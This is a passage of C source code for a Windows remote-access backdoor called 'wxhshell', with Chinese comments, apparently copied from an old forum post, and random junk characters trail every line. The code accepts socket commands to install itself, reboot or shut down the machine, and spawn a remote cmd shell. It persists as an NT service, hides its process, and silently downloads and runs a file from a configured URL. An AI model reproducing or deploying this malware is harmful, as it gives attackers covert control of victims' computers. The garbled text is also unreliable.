      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); drvz [ 9;  
    break; HQSFl=Q  
  } ^fV-m&F)K*  
  // 安装 \E6 0  
  case 'i': { {]%7-4E  
    if(Install()) -Un"z6*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uqVarRi$  
    else CDY3+!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "pO** z$Z  
    break; cT@H49#uB  
    } K#Xl)h}y7  
  // 卸载 3e>U(ES  
  case 'r': { e~SRGyIww  
    if(Uninstall()) r)B55;*Fh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XT \2  
    else w4FYd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IH`7ou{  
    break; !C(PfsrR/  
    } 7X8*7'.2  
  // 显示 wxhshell 所在路径 #7"";"{ z|  
  case 'p': { J\FLIw4  
    char svExeFile[MAX_PATH]; oBs5xH7@-  
    strcpy(svExeFile,"\n\r"); G^Y^)pc]   
      strcat(svExeFile,ExeFile);  c& $[a%s  
        send(wsh,svExeFile,strlen(svExeFile),0); |n;5D,r0C  
    break; C)~%(< D  
    } +Ht(_+To1  
  // 重启 _;R#B`9Iu  
  case 'b': { TrNh,5+b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q3'P<"u  
    if(Boot(REBOOT)) l GJN;G7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h7 mk<  
    else { 'J)9#  
    closesocket(wsh); ;I6C`N  
    ExitThread(0); #%pY,AK:=  
    } E2tUL#  
    break; ] K+8f-  
    } 3v&Shb?xb;  
  // 关机 oFhBq0@  
  case 'd': { aWNj l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S~W;Ld<>fB  
    if(Boot(SHUTDOWN)) efuiFN;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AF, ;3G  
    else { FxT]*mo  
    closesocket(wsh); *\_>=sS x;  
    ExitThread(0); $h}w: AV:  
    } gB>AYL%o=  
    break; iVo-z#  
    } eep/96G ?  
  // 获取shell %TO&  
  case 's': { D~TlG@Pq  
    CmdShell(wsh); v?}rA%so  
    closesocket(wsh); ;&!Q N#_  
    ExitThread(0); 0b<Qs88yd>  
    break; F0"("4h:  
  } -X3CrW  
  // 退出 k8i0`VY5Y  
  case 'x': { ;2[OI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TW wE3{iF  
    CloseIt(wsh); n'?]_z<  
    break; #GfM^sK  
    } 4hYK$!"r  
  // 离开 o}D }Q"=A  
  case 'q': { cEn|Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #Zi6N  
    closesocket(wsh); VCT1GsnE  
    WSACleanup(); +U>Y.YP  
    exit(1); 9{rE7OX*A  
    break; F6\4[B  
        } 7\X_%SM%  
  } ulk/I-y  
  } s){VU2.ra  
'H"!%y{:i  
  // 提示信息 ?m9=Me  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,|]k4F  
} I,"q:QS+  
  } ] VEc9?  
4q?R3 \e;  
  return; ?kRx;S+  
} tOZ-]>U  
P)~olrf  
// shell模块句柄 sn Ou  
int CmdShell(SOCKET sock) O&#>i]*V  
{ 7UqDPEXU]`  
STARTUPINFO si; 4QYStDFe  
ZeroMemory(&si,sizeof(si)); o)Px d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >.H}(!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^)'D eP/  
PROCESS_INFORMATION ProcessInfo; 4F<wa s/  
char cmdline[]="cmd"; ScQ9p379  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .bRtK+}F#  
  return 0; E 0OHl  
} jw/@]f;N  
m63>P4h?  
// 自身启动模式 hpq\  
int StartFromService(void) Bsk` e  
{ h A '>  
typedef struct oW>e.}d!  
{ dnM.  
  DWORD ExitStatus; uH7!)LE#  
  DWORD PebBaseAddress; dKevhm)R"  
  DWORD AffinityMask; 5A%Uv*  
  DWORD BasePriority; ]vw%J ^7:a  
  ULONG UniqueProcessId; p _2Yc]8  
  ULONG InheritedFromUniqueProcessId; 6KE64: \;  
}   PROCESS_BASIC_INFORMATION; 7.+vp@+  
) % gU  
PROCNTQSIP NtQueryInformationProcess; :OqEkh"$#  
1_8@yO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {$7vd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8|u8J0^  
jN(c`Gb  
  HANDLE             hProcess; Tt_QAIl  
  PROCESS_BASIC_INFORMATION pbi; ,>nf/c0.  
I9nm$,i]7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \K lY8\c[  
  if(NULL == hInst ) return 0; ^rGuyW#  
]; eJ'#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .R#<Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kt7Emb}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aU#r`D@0  
!, sQB_09C  
  if (!NtQueryInformationProcess) return 0; 'oM=ZU8wo  
Wd7qpWItjQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g3!<A*<  
  if(!hProcess) return 0; )Ofwfypc  
.$+,Y4q~(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ax9A-|  
1M?Sl?+j  
  CloseHandle(hProcess); gQeoCBCE  
#U vWS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oHF,k  
if(hProcess==NULL) return 0; 4F!%mMq  
<2LUq@Pg  
HMODULE hMod; > lI2r}  
char procName[255]; /8,cF7XL*  
unsigned long cbNeeded; ^a|  
0&3zBL%Bo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :#UA!| nV  
M(ie1Ju  
  CloseHandle(hProcess); G*-7}7OAs  
BDX>J3h  
if(strstr(procName,"services")) return 1; // 以服务启动 UI wTf2B  
a!&m\+?  
  return 0; // 注册表启动 |T*t3}  
} 3g0v,7,Zv  
vtzbF1?O  
// 主模块 3=0b  
int StartWxhshell(LPSTR lpCmdLine) UY)Iu|~0b  
{ :Z6l)R+V  
  SOCKET wsl; xo(>nFjo  
BOOL val=TRUE; WpkCFp  
  int port=0; Zlv`yC*r  
  struct sockaddr_in door; yoTx3U@  
)X6I #q8  
  if(wscfg.ws_autoins) Install(); !$Arc^7r  
j,1cb,}=^  
port=atoi(lpCmdLine); R78P](1\>  
! OOOc  
if(port<=0) port=wscfg.ws_port; /~g.j1g  
d:h X3  
  WSADATA data; A8ClkLC;I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #-PUm0|  
g{hbq[>X]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n]K{-C;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "&\]1A}Z-x  
  door.sin_family = AF_INET; {!pYQ|#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x139Ckn  
  door.sin_port = htons(port); = d!YM6G  
C`aUitL}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ujvk*~:  
closesocket(wsl); G.^^zmsM`  
return 1; T1RICIf 1F  
} ,!98V Jmr  
OV-#8RXJ  
  if(listen(wsl,2) == INVALID_SOCKET) { K48 QkZ_gY  
closesocket(wsl); h 3p~\%^  
return 1; 8>:u%+ C1c  
} rWp+kV[Ec>  
  Wxhshell(wsl); :ZXaJ!  
  WSACleanup(); 7[M@;$  
z~jk_|?|?  
return 0; &qm:36Y7Xg  
Eq5X/Hx  
} 0}\8,U  
k[1w] l8  
// 以NT服务方式启动 {dvsZJj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .Txwp?};  
{ X- SR0x  
DWORD   status = 0; ,(kaC.Em  
  DWORD   specificError = 0xfffffff; bFfDaO<k  
Rts}y:44  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D ~NWP%H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ASr3P5/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x' 3kHw  
  serviceStatus.dwWin32ExitCode     = 0; %;O# y3,  
  serviceStatus.dwServiceSpecificExitCode = 0; okBaQH2lUl  
  serviceStatus.dwCheckPoint       = 0; XE;aJ'kt  
  serviceStatus.dwWaitHint       = 0; rTeADu_vf  
"':SWKuMx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (U*Zz+ R   
  if (hServiceStatusHandle==0) return; oN(F$Nvk  
;!<@Fm9W  
status = GetLastError(); f'u[G?C  
  if (status!=NO_ERROR) ^>h2.A J  
{ p49T3V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;{"uG>#R  
    serviceStatus.dwCheckPoint       = 0; U5j0i]  
    serviceStatus.dwWaitHint       = 0; N 0(($8G  
    serviceStatus.dwWin32ExitCode     = status; q/3co86c  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?WrL<?r)}U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); inyS4tb  
    return; ?MJ5GVeH  
  } w)Y}hlcq  
1 <wolTf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L$; gf_L  
  serviceStatus.dwCheckPoint       = 0; d)v!U+-|'  
  serviceStatus.dwWaitHint       = 0; WZ ,t~TN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  >fgV!o4  
} w%kaM=  
%&4\'lE  
// 处理NT服务事件,比如:启动、停止 Xgo`XsA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }Q{4G  
{ *G,r:Bnb  
switch(fdwControl) o%v,6yv  
{ cqb]LC  
case SERVICE_CONTROL_STOP: z9^_5la#  
  serviceStatus.dwWin32ExitCode = 0; 2Zi&=Zj"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [Mlmn$it  
  serviceStatus.dwCheckPoint   = 0; 4,ewp coC%  
  serviceStatus.dwWaitHint     = 0; s;:quM  
  { 4?~Ei[KgQn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d6"B_,*b  
  } rB3b  
  return; B zr}+J  
case SERVICE_CONTROL_PAUSE: 58/\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y\{lQMCy  
  break; 7 6S>xnN  
case SERVICE_CONTROL_CONTINUE: Jry643K>:;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H=5#cPI#(^  
  break; +Z%8X!Q  
case SERVICE_CONTROL_INTERROGATE: t Ow[  
  break; b/eo]Id]  
}; avH3{V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bh!J&SM:  
} ^r~R]stE^  
i<{/r-w=E  
// 标准应用程序主函数  SwmX_F#_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A>}]=Ii/  
{ bqUQadDB  
LP}YH W/  
// 获取操作系统版本 "4i_}  
OsIsNt=GetOsVer(); (OHd} YQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n`7n5M*  
& /lmg!6  
  // 从命令行安装 /M~rmIks  
  if(strpbrk(lpCmdLine,"iI")) Install(); pPZ^T5-ks  
/4u:5G  
  // 下载执行文件 8\8%FSrc  
if(wscfg.ws_downexe) { w7h=vy n?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AmT*{Fz8  
  WinExec(wscfg.ws_filenam,SW_HIDE); O; <YLS^|6  
} `H\NJ,  
x8* @<]!  
if(!OsIsNt) { Hxd ^oE  
// 如果时win9x,隐藏进程并且设置为注册表启动 F6#U31Q=  
HideProc(); ^->vUf7PX  
StartWxhshell(lpCmdLine); c)=UX_S!  
} iMOf];O)  
else 7$I *ju_  
  if(StartFromService()) n0kkUc-`   
  // 以服务方式启动 BcD%`vGJ  
  StartServiceCtrlDispatcher(DispatchTable); Nh\y@\F>  
else =;HmU.Uek%  
  // 普通方式启动 N_>}UhZ  
  StartWxhshell(lpCmdLine); ;V3d"@R,  
%uhhQ<zs%  
return 0; 1Du9N[2'P  
}
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只看该作者 1 发表于: 2006-10-10
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